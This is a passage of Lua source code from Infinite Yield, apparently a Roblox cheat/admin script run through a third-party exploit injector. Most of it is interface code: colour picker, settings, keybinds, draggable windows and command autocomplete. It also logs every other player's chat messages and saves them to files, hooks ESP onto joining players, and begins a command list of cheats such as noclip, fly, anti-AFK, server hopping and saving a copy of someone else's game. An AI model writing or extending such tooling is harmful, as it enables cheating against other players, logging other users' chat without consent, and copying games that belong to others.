  2847. shade1Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade1Button.BackgroundTransparency = 0.4 end end)
  2848. shade1Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade1Button.BackgroundTransparency = 0 end end)
  2849.  
  2850. shade2Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade2) end end)
  2851. shade2Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade2Button.BackgroundTransparency = 0.4 end end)
  2852. shade2Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade2Button.BackgroundTransparency = 0 end end)
  2853.  
  2854. shade3Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade3) end end)
  2855. shade3Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade3Button.BackgroundTransparency = 0.4 end end)
  2856. shade3Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then shade3Button.BackgroundTransparency = 0 end end)
  2857.  
  2858. text1Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,text1) end end)
  2859. text1Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text1Button.BackgroundTransparency = 0.4 end end)
  2860. text1Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text1Button.BackgroundTransparency = 0 end end)
  2861.  
  2862. text2Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,text2) end end)
  2863. text2Button.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text2Button.BackgroundTransparency = 0.4 end end)
  2864. text2Button.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then text2Button.BackgroundTransparency = 0 end end)
  2865.  
  2866. scrollButton.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,scroll) end end)
  2867. scrollButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then scrollButton.BackgroundTransparency = 0.4 end end)
  2868. scrollButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then scrollButton.BackgroundTransparency = 0 end end)
  2869.  
  2870. cancelButton.MouseButton1Click:Connect(function() if newMt.Cancel then newMt:Cancel() end end)
  2871. cancelButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0.4 end end)
  2872. cancelButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then cancelButton.BackgroundTransparency = 0 end end)
  2873.  
  2874. defaultButton.MouseButton1Click:Connect(function() if newMt.Default then newMt:Default() end end)
  2875. defaultButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0.4 end end)
  2876. defaultButton.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0 end end)
  2877.  
  2878. pickerExit.MouseButton1Click:Connect(function()
  2879. picker:TweenPosition(UDim2.new(0.5, -219, 0, -500), "InOut", "Quart", 0.5, true, nil)
  2880. end)
  2881.  
  2882. updateColor()
  2883.  
  2884. newMt.SetColor = function(self,color)
  2885. red,green,blue = color.r,color.g,color.b
  2886. hue,sat,val = Color3.toHSV(color)
  2887. updateColor()
  2888. end
  2889.  
  2890. return newMt
  2891. end
  2892. end
  2893.  
  2894. picker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil)
  2895.  
  2896. local Npicker = ColorPicker.new()
  2897. Npicker.Confirm = function(self,color,ctype) updateColors(color,ctype) wait() updatesaves() end
  2898. Npicker.Cancel = function(self)
  2899. updateColors(cache_currentShade1,shade1)
  2900. updateColors(cache_currentShade2,shade2)
  2901. updateColors(cache_currentShade3,shade3)
  2902. updateColors(cache_currentText1,text1)
  2903. updateColors(cache_currentText2,text2)
  2904. updateColors(cache_currentScroll,scroll)
  2905. wait()
  2906. updatesaves()
  2907. end
  2908. Npicker.Default = function(self)
  2909. updateColors(Color3.fromRGB(36, 36, 37),shade1)
  2910. updateColors(Color3.fromRGB(46, 46, 47),shade2)
  2911. updateColors(Color3.fromRGB(78, 78, 79),shade3)
  2912. updateColors(Color3.new(1, 1, 1),text1)
  2913. updateColors(Color3.new(0, 0, 0),text2)
  2914. updateColors(Color3.fromRGB(78,78,79),scroll)
  2915. wait()
  2916. updatesaves()
  2917. end
  2918. else
  2919. picker:TweenPosition(UDim2.new(0.5, -219, 0, 100), "InOut", "Quart", 0.5, true, nil)
  2920. end
  2921. end)
  2922.  
  2923.  
  2924. Holder.SettingsButton.MouseButton1Click:Connect(function()
  2925. if SettingsOpen == false then SettingsOpen = true
  2926. Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.5, true, nil)
  2927. Holder.CMDs.Visible = false
  2928. else SettingsOpen = false
  2929. Holder.CMDs.Visible = true
  2930. Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.5, true, nil)
  2931. end
  2932. end)
  2933.  
  2934. Holder.Settings.StayOpen.Button.On.MouseButton1Click:Connect(function()
  2935. if StayOpen == false then StayOpen = true
  2936. Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 0
  2937. else StayOpen = false
  2938. Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 1
  2939. end
  2940. updatesaves()
  2941. end)
  2942.  
  2943. Clear.MouseButton1Down:connect(function()
  2944. for _, child in pairs(scrollCL:GetChildren()) do
  2945. child:Destroy()
  2946. end
  2947. scrollCL.CanvasSize = UDim2.new(0, 0, 0, 10)
  2948. end)
  2949.  
  2950. Toggle.MouseButton1Down:connect(function()
  2951. if logsEnabled then
  2952. logsEnabled = false
  2953. Toggle.Text = 'Disabled'
  2954. updatesaves()
  2955. else
  2956. logsEnabled = true
  2957. Toggle.Text = 'Enabled'
  2958. updatesaves()
  2959. end
  2960. end)
  2961.  
  2962. if not writefileExploit() then
  2963. notify('Saves','Your exploit does not support read/write file. Your settings will not save.')
  2964. end
  2965.  
  2966. ChatLog = function(plr)
  2967. plr.Chatted:Connect(function(Message)
  2968. if logsEnabled == true then
  2969. CreateLabel(plr.Name,Message)
  2970. end
  2971. end)
  2972. end
  2973.  
  2974. SaveChatlogs.MouseButton1Down:connect(function()
  2975. if writefileExploit() then
  2976. if #scrollCL:GetChildren() > 0 then
  2977. notify("Loading",'Hold on a second')
  2978. local placeName = game:GetService('MarketplaceService'):GetProductInfo(game.PlaceId).Name
  2979. local writelogs = '-- Infinite Yield Chat logs for "'..placeName..'"\n'
  2980. for _, child in pairs(scrollCL:GetChildren()) do
  2981. writelogs = writelogs..'\n'..child.Text
  2982. end
  2983. local writelogsFile = tostring(writelogs)
  2984. local fileext = 0
  2985. local function nameFile()
  2986. local file
  2987. pcall(function() file = readfile(placeName..' Chat Logs ('..fileext..').txt') end)
  2988. if file then
  2989. fileext = fileext+1
  2990. nameFile()
  2991. else
  2992. writefileCooldown(placeName..' Chat Logs ('..fileext..').txt', writelogsFile)
  2993. end
  2994. end
  2995. nameFile()
  2996. notify('Chat Logs','Saved chat logs to the workspace folder within your exploit folder.')
  2997. end
  2998. else
  2999. notify('Chat Logs','Your exploit does not support write file. You cannot save chat logs.')
  3000. end
  3001. end)
  3002.  
  3003. for _, plr in pairs(Players:GetChildren()) do
  3004. if plr.ClassName == "Player" then
  3005. ChatLog(plr)
  3006. end
  3007. end
  3008.  
  3009. Players.PlayerAdded:connect(function(player)
  3010. ChatLog(player)
  3011. if ESPenabled then
  3012. repeat wait(1) until player.Character and player.Character:FindFirstChild('HumanoidRootPart')
  3013. ESP(player)
  3014. end
  3015. if CHMSenabled then
  3016. repeat wait(1) until player.Character and player.Character:FindFirstChild('HumanoidRootPart')
  3017. CHMS(player)
  3018. end
  3019. end)
  3020.  
  3021. Players.PlayerRemoving:connect(function(player)
  3022. for i,v in pairs(PARENT:GetChildren()) do
  3023. if v.Name == player.Name..'_ESP' or v.Name == player.Name..'_LC' then
  3024. v:Destroy()
  3025. end
  3026. end
  3027. if viewing ~= nil and player == viewing then
  3028. workspace.CurrentCamera.CameraSubject = Players.LocalPlayer.Character
  3029. viewing = nil
  3030. if viewDied then
  3031. viewDied:Disconnect()
  3032. end
  3033. notify('Spectate','View turned off (player left)')
  3034. end
  3035. end)
  3036.  
  3037. shadow.Exit.MouseButton1Down:connect(function()
  3038. logsDrag:TweenPosition(UDim2.new(0, 0, 1, 10), "InOut", "Quart", 0.3, true, nil)
  3039. end)
  3040.  
  3041. shadow.Hide.MouseButton1Down:connect(function()
  3042. if logsDrag.Position ~= UDim2.new(0, 0, 1, -20) then
  3043. logsDrag:TweenPosition(UDim2.new(0, 0, 1, -20), "InOut", "Quart", 0.3, true, nil)
  3044. else
  3045. logsDrag:TweenPosition(UDim2.new(0, 0, 1, -245), "InOut", "Quart", 0.3, true, nil)
  3046. end
  3047. end)
  3048.  
  3049. SpawnC.Select.MouseButton1Click:Connect(function()
  3050. SpawnCFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3051. wait(0.5)
  3052. disablebuttons()
  3053. end)
  3054.  
  3055. SpawnCFrame.Close.MouseButton1Click:Connect(function()
  3056. enablebuttons()
  3057. SpawnCFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  3058. end)
  3059.  
  3060. SpawnCFrame.Delete.MouseButton1Click:Connect(function()
  3061. spawnCmds = {}
  3062. updatesaves()
  3063. refreshSpawnC()
  3064. notify('Spawn Commands Updated','Cleared all spawn commands')
  3065. end)
  3066.  
  3067. Add_5.MouseButton1Click:Connect(function()
  3068. if Cmdbar_3.Text ~= '' and Cmdbar_3.Text ~= 'Command' then
  3069. if isNumber(DelayNum.Text) then
  3070. addspawn(Cmdbar_3.Text,tonumber(DelayNum.Text))
  3071. refreshSpawnC()
  3072. updatesaves()
  3073. notify('Spawn Commands Updated','"'..Cmdbar_3.Text..'" will run when your player spawns')
  3074. else
  3075. notify('Spawn Command Error','Command delay must be a number')
  3076. end
  3077. end
  3078. end)
  3079.  
  3080. Keybinds.Select.MouseButton1Click:Connect(function()
  3081. KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3082. wait(0.5)
  3083. disablebuttons()
  3084. end)
  3085.  
  3086. KeybindsFrame.Close.MouseButton1Click:Connect(function()
  3087. enablebuttons()
  3088. KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  3089. end)
  3090.  
  3091. Holder.Settings.Keybinds.Select.MouseButton1Click:Connect(function()
  3092. KeybindsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3093. wait(0.5)
  3094. disablebuttons()
  3095. end)
  3096.  
  3097. KeybindsFrame.Add.MouseButton1Click:Connect(function()
  3098. KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, 260), "InOut", "Quart", 0.5, true, nil)
  3099. end)
  3100.  
  3101. KeybindsFrame.Delete.MouseButton1Click:Connect(function()
  3102. binds = {}
  3103. refreshbinds()
  3104. updatesaves()
  3105. notify('Keybinds Updated','Removed all keybinds')
  3106. end)
  3107.  
  3108. AliasesFrame.Close.MouseButton1Click:Connect(function()
  3109. enablebuttons()
  3110. AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  3111. end)
  3112.  
  3113. Settings.Aliases.Select.MouseButton1Click:Connect(function()
  3114. AliasesFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3115. wait(0.5)
  3116. disablebuttons()
  3117. end)
  3118.  
  3119. PositionsFrame.Close.MouseButton1Click:Connect(function()
  3120. enablebuttons()
  3121. PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  3122. end)
  3123.  
  3124. Settings.Positions.Select.MouseButton1Click:Connect(function()
  3125. PositionsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  3126. wait(0.5)
  3127. disablebuttons()
  3128. end)
  3129.  
  3130. SpawnCFrame.Add.MouseButton1Click:Connect(function()
  3131. SpawnCEditor:TweenPosition(UDim2.new(0.5, -180, 0, 285), "InOut", "Quart", 0.5, true, nil)
  3132. end)
  3133.  
  3134. Exit_4.MouseButton1Click:Connect(function()
  3135. SpawnCEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  3136. Cmdbar_3.Text = 'Command'
  3137. DelayNum.Text = '0'
  3138. end)
  3139.  
  3140. selectionBox = Instance.new("SelectionBox")
  3141. selectionBox.Name = randomString()
  3142. selectionBox.Color3 = Color3.new(255,255,255)
  3143. selectionBox.Adornee = nil
  3144. selectionBox.Parent = PARENT
  3145.  
  3146. selected = Instance.new("SelectionBox")
  3147. selected.Name = randomString()
  3148. selected.Color3 = Color3.new(0,166,0)
  3149. selected.Adornee = nil
  3150. selected.Parent = PARENT
  3151.  
  3152. ActivateHighlight = nil
  3153. ClickSelect = nil
  3154. Part.MouseButton1Click:Connect(function()
  3155. ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, 335), "InOut", "Quart", 0.5, true, nil)
  3156. local function HighlightPart()
  3157. if selected.Adornee ~= Players.LocalPlayer:GetMouse().Target then
  3158. selectionBox.Adornee = Players.LocalPlayer:GetMouse().Target
  3159. else
  3160. selectionBox.Adornee = nil
  3161. end
  3162. end
  3163. ActivateHighlight = Players.LocalPlayer:GetMouse().Move:connect(HighlightPart)
  3164. local function SelectPart()
  3165. if Players.LocalPlayer:GetMouse().Target ~= nil then
  3166. selected.Adornee = Players.LocalPlayer:GetMouse().Target
  3167. Path.Text = getHierarchy(Players.LocalPlayer:GetMouse().Target)
  3168. end
  3169. end
  3170. ClickSelect = IYMouse.Button1Down:connect(SelectPart)
  3171. end)
  3172.  
  3173. Exit_5.MouseButton1Click:Connect(function()
  3174. ToPartFrame:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  3175. if ActivateHighlight then
  3176. ActivateHighlight:Disconnect()
  3177. end
  3178. if ClickSelect then
  3179. ClickSelect:Disconnect()
  3180. end
  3181. selectionBox.Adornee = nil
  3182. selected.Adornee = nil
  3183. Path.Text = ""
  3184. end)
  3185.  
  3186. CopyPath.MouseButton1Click:Connect(function()
  3187. if Path.Text ~= "" then
  3188. toClipboard(Path.Text)
  3189. else
  3190. notify('Copy Path','Select a part to copy its path')
  3191. end
  3192. end)
  3193.  
  3194. ChoosePart.MouseButton1Click:Connect(function()
  3195. if Path.Text ~= "" then
  3196. local tpNameExt = ''
  3197. local function handleWpNames()
  3198. local FoundDupe = false
  3199. for i,v in pairs(pWayPoints) do
  3200. if v.NAME:lower() == selected.Adornee.Name:lower()..tpNameExt then
  3201. FoundDupe = true
  3202. end
  3203. end
  3204. if not FoundDupe then
  3205. notify('Modified Waypoints',"Created waypoint: "..selected.Adornee.Name..tpNameExt)
  3206. pWayPoints[#pWayPoints + 1] = {NAME = selected.Adornee.Name..tpNameExt, COORD = {selected.Adornee}}
  3207. else
  3208. if isNumber(tpNameExt) then
  3209. tpNameExt = tpNameExt+1
  3210. else
  3211. tpNameExt = 1
  3212. end
  3213. handleWpNames()
  3214. end
  3215. end
  3216. handleWpNames()
  3217. refreshwaypoints()
  3218. else
  3219. notify('Part Selection','Select a part first')
  3220. end
  3221. end)
  3222.  
  3223. cmds={}
  3224. customAlias = {}
  3225. AliasesFrame.Delete.MouseButton1Click:Connect(function()
  3226. customAlias = {}
  3227. aliases = {}
  3228. notify('Aliases Modified','Removed all aliases')
  3229. updatesaves()
  3230. refreshaliases()
  3231. end)
  3232.  
  3233. Holder.Settings.Prefix.PrefixBox:GetPropertyChangedSignal("Text"):connect(function()
  3234. prefix = Holder.Settings.Prefix.PrefixBox.Text
  3235. updatesaves()
  3236. end)
  3237.  
  3238. function CamViewport()
  3239. if workspace.CurrentCamera then
  3240. return workspace.CurrentCamera.ViewportSize.X
  3241. end
  3242. end
  3243.  
  3244. function UpdateToViewport()
  3245. if Holder.Position.X.Offset < -CamViewport() then
  3246. Holder:TweenPosition(UDim2.new(1, -CamViewport(), Holder.Position.Y.Scale, Holder.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
  3247. Notification:TweenPosition(UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
  3248. end
  3249. end
  3250. CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):connect(UpdateToViewport)
  3251.  
  3252. function updateCamera(child, parent)
  3253. if parent ~= workspace then
  3254. CamMoved:Disconnect()
  3255. CameraChanged:Disconnect()
  3256. repeat wait() until workspace.CurrentCamera
  3257. CameraChanged = workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):connect(UpdateToViewport)
  3258. CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera)
  3259. end
  3260. end
  3261. CamMoved = workspace.CurrentCamera.AncestryChanged:Connect(updateCamera)
  3262.  
  3263. function dragMain(dragpoint,gui)
  3264. spawn(function()
  3265. local dragging
  3266. local dragInput
  3267. local dragStart
  3268. local startPos
  3269. local function update(input)
  3270. local pos = -250
  3271. local delta = input.Position - dragStart
  3272. if startPos.X.Offset + delta.X <= -500 then
  3273. local Position = UDim2.new(1, -250, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
  3274. game:GetService("TweenService"):Create(Notification, TweenInfo.new(.20), {Position = Position}):Play()
  3275. pos = 250
  3276. else
  3277. local Position = UDim2.new(1, -500, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
  3278. game:GetService("TweenService"):Create(Notification, TweenInfo.new(.20), {Position = Position}):Play()
  3279. pos = -250
  3280. end
  3281. if startPos.X.Offset + delta.X <= -250 and -CamViewport() <= startPos.X.Offset + delta.X then
  3282. local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, gui.Position.Y.Scale, gui.Position.Y.Offset)
  3283. game:GetService("TweenService"):Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
  3284. local Position2 = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X + pos, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
  3285. game:GetService("TweenService"):Create(Notification, TweenInfo.new(.20), {Position = Position2}):Play()
  3286. elseif startPos.X.Offset + delta.X > -500 then
  3287. local Position = UDim2.new(1, -250, gui.Position.Y.Scale, gui.Position.Y.Offset)
  3288. game:GetService("TweenService"):Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
  3289. elseif -CamViewport() > startPos.X.Offset + delta.X then
  3290. gui:TweenPosition(UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset), "InOut", "Quart", 0.04, true, nil)
  3291. local Position = UDim2.new(1, -CamViewport(), gui.Position.Y.Scale, gui.Position.Y.Offset)
  3292. game:GetService("TweenService"):Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
  3293. local Position2 = UDim2.new(1, -CamViewport() + 250, Notification.Position.Y.Scale, Notification.Position.Y.Offset)
  3294. game:GetService("TweenService"):Create(Notification, TweenInfo.new(.20), {Position = Position2}):Play()
  3295. end
  3296. end
  3297. dragpoint.InputBegan:Connect(function(input)
  3298. if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  3299. dragging = true
  3300. dragStart = input.Position
  3301. startPos = gui.Position
  3302.  
  3303. input.Changed:Connect(function()
  3304. if input.UserInputState == Enum.UserInputState.End then
  3305. dragging = false
  3306. end
  3307. end)
  3308. end
  3309. end)
  3310. dragpoint.InputChanged:Connect(function(input)
  3311. if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  3312. dragInput = input
  3313. end
  3314. end)
  3315. UserInputService.InputChanged:Connect(function(input)
  3316. if input == dragInput and dragging then
  3317. update(input)
  3318. end
  3319. end)
  3320. end)
  3321. end
  3322.  
  3323. dragMain(Title,Holder)
  3324.  
  3325. function dragGUI(gui)
  3326. spawn(function()
  3327. local dragging
  3328. local dragInput
  3329. local dragStart
  3330. local startPos
  3331. local function update(input)
  3332. local delta = input.Position - dragStart
  3333. local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
  3334. game:GetService("TweenService"):Create(gui, TweenInfo.new(.20), {Position = Position}):Play()
  3335. end
  3336. gui.InputBegan:Connect(function(input)
  3337. if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
  3338. dragging = true
  3339. dragStart = input.Position
  3340. startPos = gui.Position
  3341.  
  3342. input.Changed:Connect(function()
  3343. if input.UserInputState == Enum.UserInputState.End then
  3344. dragging = false
  3345. end
  3346. end)
  3347. end
  3348. end)
  3349. gui.InputChanged:Connect(function(input)
  3350. if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
  3351. dragInput = input
  3352. end
  3353. end)
  3354. UserInputService.InputChanged:Connect(function(input)
  3355. if input == dragInput and dragging then
  3356. update(input)
  3357. end
  3358. end)
  3359. end)
  3360. end
  3361.  
  3362. dragGUI(logsDrag)
  3363. dragGUI(KeybindEditor)
  3364. dragGUI(PluginEditor)
  3365. dragGUI(SpawnCEditor)
  3366. dragGUI(ToPartFrame)
  3367.  
  3368. CSP = Holder
  3369. frame = CSP:WaitForChild('CMDs')
  3370.  
  3371. Match = function(name,str)
  3372. return name:lower():find(str:lower()) and true
  3373. end
  3374.  
  3375. canvasPos = nil
  3376. canvasTop = false
  3377. topCommand = nil
  3378. IndexContents = function(str,bool,cmdbar,Ianim)
  3379. if str == '' or str == ' ' or str == prefix then
  3380. if canvasTop == false then
  3381. canvasPos = CMDsF.CanvasPosition.Y
  3382. end
  3383. else
  3384. CMDsF.CanvasPosition = Vector2.new(0,0)
  3385. canvasTop = true
  3386. end
  3387. local Index,SizeY = 0,0
  3388. local indexnum = 0
  3389. topCommand = nil
  3390. for i,v in next, frame:GetChildren() do
  3391. if bool then
  3392. if Match(v.Text,str) then
  3393. indexnum = indexnum + 1
  3394. Index = Index + 1
  3395. v.Visible = true
  3396. v:TweenPosition(UDim2.new(0,10,0,Index*v.AbsoluteSize.Y-v.AbsoluteSize.Y), "InOut", "Quart", 0.2, true, nil)
  3397. SizeY = SizeY + v.AbsoluteSize.Y
  3398. frame.CanvasSize = UDim2.new(0,0,0,SizeY)
  3399. if topCommand == nil then
  3400. topCommand = v.Text
  3401. end
  3402. else
  3403. v.Visible = false
  3404. end
  3405. else
  3406. v.Visible = true
  3407. SizeY = SizeY + v.AbsoluteSize.Y
  3408. frame.CanvasSize = UDim2.new(0,0,0,SizeY)
  3409. if topCommand == nil then
  3410. topCommand = v.Text
  3411. end
  3412. end
  3413. end
  3414. if not Ianim then
  3415. if indexnum == 0 or string.find(str, " ") then
  3416. if not cmdbar then
  3417. minimizeHolder()
  3418. elseif cmdbar then
  3419. cmdbarHolder()
  3420. end
  3421. else
  3422. maximizeHolder()
  3423. end
  3424. else
  3425. minimizeHolder()
  3426. end
  3427. end
  3428.  
  3429. PlayerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
  3430. local chatbox
  3431. if pcall(function() chatbox = Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui").Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar end) then
  3432. local function Index()
  3433. if chatbox.Text:lower():sub(1,1) == prefix then
  3434. if SettingsOpen == true then
  3435. wait(0.2)
  3436. Holder.CMDs.Visible = true
  3437. Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil)
  3438. end
  3439. IndexContents(PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar.Text:lower():sub(2),true)
  3440. else
  3441. minimizeHolder()
  3442. if SettingsOpen == true then
  3443. wait(0.2)
  3444. Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil)
  3445. Holder.CMDs.Visible = false
  3446. end
  3447. end
  3448. end
  3449. local chatboxFunc = chatbox:GetPropertyChangedSignal("Text"):Connect(Index)
  3450.  
  3451. function chatboxFocusLost(enterpressed)
  3452. if not enterpressed or chatbox.Text:lower():sub(1,1) ~= prefix then
  3453. IndexContents('',true)
  3454. if canvasPos ~= nil then
  3455. CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
  3456. canvasTop = false
  3457. end
  3458. end
  3459. minimizeHolder()
  3460. end
  3461. local chatboxFocusLostC = chatbox.FocusLost:Connect(chatboxFocusLost)
  3462.  
  3463. Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui").Chat.Frame.ChatBarParentFrame.ChildAdded:Connect(function(newbar)
  3464. wait()
  3465. if newbar:FindFirstChild('BoxFrame') then
  3466. chatbox = Players.LocalPlayer:FindFirstChildWhichIsA("PlayerGui").Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar
  3467. if chatboxFunc then chatboxFunc:Disconnect() end
  3468. chatboxFunc = chatbox:GetPropertyChangedSignal("Text"):Connect(Index)
  3469. if chatboxFocusLostC then chatboxFocusLostC:Disconnect() end
  3470. chatboxFocusLostC = chatbox.FocusLost:Connect(chatboxFocusLost)
  3471. end
  3472. end)
  3473. else
  3474. print('Custom chat detected. Will not provide suggestions for commands typed in the chat.')
  3475. end
  3476.  
  3477. function autoComplete(str)
  3478. local endingChar = {"[", "/", "(", " "}
  3479. local stop = 0
  3480. for i=1,#str do
  3481. local c = str:sub(i,i)
  3482. if table.find(endingChar, c) then
  3483. stop = i
  3484. break
  3485. end
  3486. end
  3487. Cmdbar.Text = str:sub(1, stop - 1)..' '
  3488. wait()
  3489. Cmdbar.Text = Cmdbar.Text:gsub( '\t', '' )
  3490. Cmdbar.CursorPosition = 1020
  3491. end
  3492.  
  3493. CMDs = {}
  3494. CMDs[#CMDs + 1] = {NAME = 'console', DESC = 'Loads old Roblox console'}
  3495. CMDs[#CMDs + 1] = {NAME = 'explorer / dex', DESC = 'Opens DEX explorer'}
  3496. CMDs[#CMDs + 1] = {NAME = 'serverinfo / info', DESC = 'Gives you info about the server'}
  3497. CMDs[#CMDs + 1] = {NAME = 'rejoin / rj', DESC = 'Makes you rejoin the game'}
  3498. CMDs[#CMDs + 1] = {NAME = 'serverhop / shop', DESC = 'Teleports you to a different server'}
  3499. CMDs[#CMDs + 1] = {NAME = 'joinplayer [username / ID] [place ID]', DESC = 'Joins a specific players server'}
  3500. CMDs[#CMDs + 1] = {NAME = 'gameteleport / gametp [place ID]', DESC = 'Joins a game by ID'}
  3501. CMDs[#CMDs + 1] = {NAME = 'antiidle / antiafk', DESC = 'Prevents the game from kicking you for being idle/afk'}
  3502. CMDs[#CMDs + 1] = {NAME = 'nopurchaseprompts / noprompts', DESC = 'Prevents the game from showing you purchase prompts'}
  3503. CMDs[#CMDs + 1] = {NAME = 'showpurchaseprompts / showprompts', DESC = 'Allows the game to show purchase prompts again'}
  3504. CMDs[#CMDs + 1] = {NAME = 'enable [inventory/playerlist/chat/all]', DESC = 'Toggles visibility of coregui items'}
  3505. CMDs[#CMDs + 1] = {NAME = 'disable [inventory/playerlist/chat/all]', DESC = 'Toggles visibility of coregui items'}
  3506. CMDs[#CMDs + 1] = {NAME = 'showguis', DESC = 'Shows any invisible GUIs'}
  3507. CMDs[#CMDs + 1] = {NAME = 'unshowguis', DESC = 'Undoes showguis'}
  3508. CMDs[#CMDs + 1] = {NAME = 'hideguis', DESC = 'Hides any GUIs in PlayerGui'}
  3509. CMDs[#CMDs + 1] = {NAME = 'unhideguis', DESC = 'Undoes hideguis'}
  3510. CMDs[#CMDs + 1] = {NAME = 'savegame / saveplace', DESC = 'Uses saveinstance to save the game'}
  3511. CMDs[#CMDs + 1] = {NAME = 'clearerror', DESC = 'Clears the annoying box and blur when a game kicks you'}
  3512. CMDs[#CMDs + 1] = {NAME = 'volume / vol [0-10]', DESC = 'Adjusts your game volume on a scale of 0 to 10'}
  3513. CMDs[#CMDs + 1] = {NAME = 'exit', DESC = 'Kills roblox process'}
  3514. CMDs[#CMDs + 1] = {NAME = '', DESC = ''}
  3515. CMDs[#CMDs + 1] = {NAME = 'noclip', DESC = 'Go through objects'}
  3516. CMDs[#CMDs + 1] = {NAME = 'unnoclip / clip', DESC = 'Disables noclip'}
  3517. CMDs[#CMDs + 1] = {NAME = 'fly', DESC = 'Makes you fly'}
  3518. CMDs[#CMDs + 1] = {NAME = 'unfly', DESC = 'Disables fly'}
  3519. CMDs[#CMDs + 1] = {NAME = 'flyspeed [num]', DESC = 'Set fly speed (default is 20)'}
  3520. CMDs[#CMDs + 1] = {NAME = 'vehiclefly / vfly', DESC = 'Makes you fly in a vehicle'}
  3521. CMDs[#CMDs + 1] = {NAME = 'unvehiclefly / unvfly', DESC = 'Disables vehicle fly'}
  3522. CMDs[#CMDs + 1] = {NAME = 'vehicleflyspeed / vflyspeed [num]', DESC = 'Set vehicle fly speed'}
  3523. CMDs[#CMDs + 1] = {NAME = 'float / platform', DESC = 'Spawns a platform beneath you causing you to float'}
